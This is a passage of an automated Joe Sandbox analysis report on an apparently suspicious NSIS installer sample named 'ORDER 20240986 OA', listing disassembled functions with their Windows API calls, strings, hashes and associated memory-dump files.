Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: e2d68be7770c43893e1e2478522bb0d44a2fa382b0b36792216c84cf33d7cb12
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 6F015E71D00218BAEB00DB94DD85BFFBBBCAF95B11F10412BBA51B61D0C7B49A018BA4

Function 00401DB9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDA8), ref: 00401E3E

Strings

Tahoma, xrefs: 00401E24

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction ID: 8812a6a15301a194985102fbed33e50eefbd915e65da34b8167a76c641a3bf07
Opcode Fuzzy Hash: 5bd6bd5a0da59a8b862859853f94caf732d3d6ef064c8fd9610db6583930af4a
Instruction Fuzzy Hash: 1B017571948240EFE7406BB4AF8A7D97FB49F95301F10457EE241B71E2CA7804459F2D

Function 00402DF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402E11
MulDiv.KERNEL32(00088D7C,00000064,00088D80), ref: 00402E3C
wsprintfW.USER32 ref: 00402E4C
SetWindowTextW.USER32(?,?), ref: 00402E5C
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E6E

Strings

verifying installer: %d%%, xrefs: 00402E46

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction ID: 3b7df5e00b9d055b55134e233a6447c2e1405f162d6c23549fa63679cea1b34f
Opcode Fuzzy Hash: 1a328351c5421bd6383489faae0abdae529a3cf17d73acb180239156b2535a4a
Instruction Fuzzy Hash: 5601677164020CBFDF109F50DD49FAE3B69AB04305F108439FA05B51E0DBB98555CF58

Function 6FBB256D Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6FBB121B: GlobalAlloc.KERNELBASE(00000040,?,6FBB123B,?,6FBB12DF,00000019,6FBB11BE,-000000A0), ref: 6FBB1225

GlobalFree.KERNEL32(?), ref: 6FBB265B
GlobalFree.KERNEL32(00000000), ref: 6FBB2690

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 3e0c5f35cacea26655a51b64940fd95e2634b414f3b910c5fa07c17472f75df6
Instruction ID: 99e096214810d56b52c3697333d219afb0fb862d049b8abbaa1f5ef4d79127bc
Opcode Fuzzy Hash: 3e0c5f35cacea26655a51b64940fd95e2634b414f3b910c5fa07c17472f75df6
Instruction Fuzzy Hash: E831DE31508581EFCB168F68ED99D7ABBB6FF8B314754462DF14287260DF30A8268B25

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 4c7fd7b1f91375a2558ff4a0a047554b9ac13023ec1a621a7b7447f5a49afdce
Instruction ID: 9b62f472eb3a95df078ad497759be9c31f6c15c11f60cf08f6005a6c9cb4e6e4
Opcode Fuzzy Hash: 4c7fd7b1f91375a2558ff4a0a047554b9ac13023ec1a621a7b7447f5a49afdce
Instruction Fuzzy Hash: 9921BFB1C00128BBCF116FA5DE49D9E7E79EF09364F14423AF960762E0CB794C419B98

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll,00000400,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll,00000400,?,?,00000021), ref: 004025F3

Strings

C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
C:\Users\user\AppData\Local\Temp\nsx1318.tmp, xrefs: 004025E1

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsx1318.tmp$C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll
API String ID: 3109718747-3961821495
Opcode ID: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction ID: 4bb1670e371a3de23f361dcee459543bcfcf4636ee0f51b5b5a9e7d0ab821041
Opcode Fuzzy Hash: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction Fuzzy Hash: DB11CB72A05300BEDB046FB18E8999F7664AF54399F20843FF502F61D1D9FC89415B5E

Function 6FBB18DD Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6FBB193E
GlobalFree.KERNEL32(?), ref: 6FBB1ADE
GlobalFree.KERNEL32(?), ref: 6FBB1AE3

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: fe541b48bfa4f5bd6e21677dcf120d721c8f77b3b7c9edcd98a619b49bc41908
Instruction ID: 5bc012d81d97220c0fe9df3a7aac87b126cf67ff0d6b1f826b38694beda9e9be
Opcode Fuzzy Hash: fe541b48bfa4f5bd6e21677dcf120d721c8f77b3b7c9edcd98a619b49bc41908
Instruction Fuzzy Hash: A851A731D041DA9A8B119FB8F5845FEBBB5EF46354B1C826FD420E7140DF71BA828791

Function 6FBB1621 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6FBB21F0,?,00000808), ref: 6FBB1639
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6FBB21F0,?,00000808), ref: 6FBB1640
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6FBB21F0,?,00000808), ref: 6FBB1654
GetProcAddress.KERNEL32(6FBB21F0,00000000), ref: 6FBB165B
GlobalFree.KERNEL32(00000000), ref: 6FBB1664

Memory Dump Source

Source File: 00000000.00000002.2336495745.000000006FBB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FBB0000, based on PE: true

Associated: 00000000.00000002.2336461963.000000006FBB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336529386.000000006FBB3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2336658892.000000006FBB5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fbb0000_ORDER 20240986 OA.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: c37da9dcac357709770d5bb27e76babb82a97cb55e2bb64b0ca3af549fac369e
Instruction ID: 407a23b37e66808ea6a5665cb97c582c27f3a4e84e933dd497294086d23af75f
Opcode Fuzzy Hash: c37da9dcac357709770d5bb27e76babb82a97cb55e2bb64b0ca3af549fac369e
Instruction Fuzzy Hash: 0DF030722065387FDA2116A78C4DD9BBE9CDF8B2F5B150311F728D2190CA619C12DBF1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction ID: 7e4da700d615158f321032e6dee441e0afa22e46251462cde10931eea5e4b44d
Opcode Fuzzy Hash: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction Fuzzy Hash: 59F0EC72A04518AFDB41DBE4DE88CEEB7BCEB48301B14446AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction ID: 5915ba61491c244e76e1eaab0aa102c6a5e0f3d841db56a12d121f6c77e1b82d
Opcode Fuzzy Hash: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction Fuzzy Hash: E621C371948209AEEF049FB5DE4AABE7BB4EF84304F14443EF605F61D0D7B889409B18

Function 00404ABB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
wsprintfW.USER32 ref: 00404B65
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

%u.%u%s%s, xrefs: 00404B46

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction ID: c6a8333de7f2a0e63f9e82a7fb0d3590b97a2c0368f8d4fe0eecd184368e2ceb
Opcode Fuzzy Hash: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction Fuzzy Hash: 5711DB736041282BDB00656D9C41F9E329CDB86334F15423BFB25F21D1D978DC1186E8

Function 00405C17 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,C:\Users\user\AppData\Local\Temp\nsx1318.tmp,?,?,74DF3420,004059C9,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C25
CharNextW.USER32(00000000), ref: 00405C2A
CharNextW.USER32(00000000), ref: 00405C42

Strings

C:\Users\user\AppData\Local\Temp\nsx1318.tmp, xrefs: 00405C18

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2287227071.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER 20240986 OA.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsx1318.tmp
API String ID: 3213498283-2645957968
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 6a9d977fbe5713998eb834b7ad01fe533960ca492682b5c2b36711c34b001c28
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DDF0F061808B1095FB3176644C88E7B66BCEB55360B04803BE641B72C0D3B84DC18EAA

Function 00405B6C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 00405B72
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035B6,?,00000006,00000008,0000000A), ref: 00405B7C
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405B8E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B6C

Memory Dump Source

Source File: 00000000.00000002.2286754998.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2286713295.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286806992.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2286852319.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
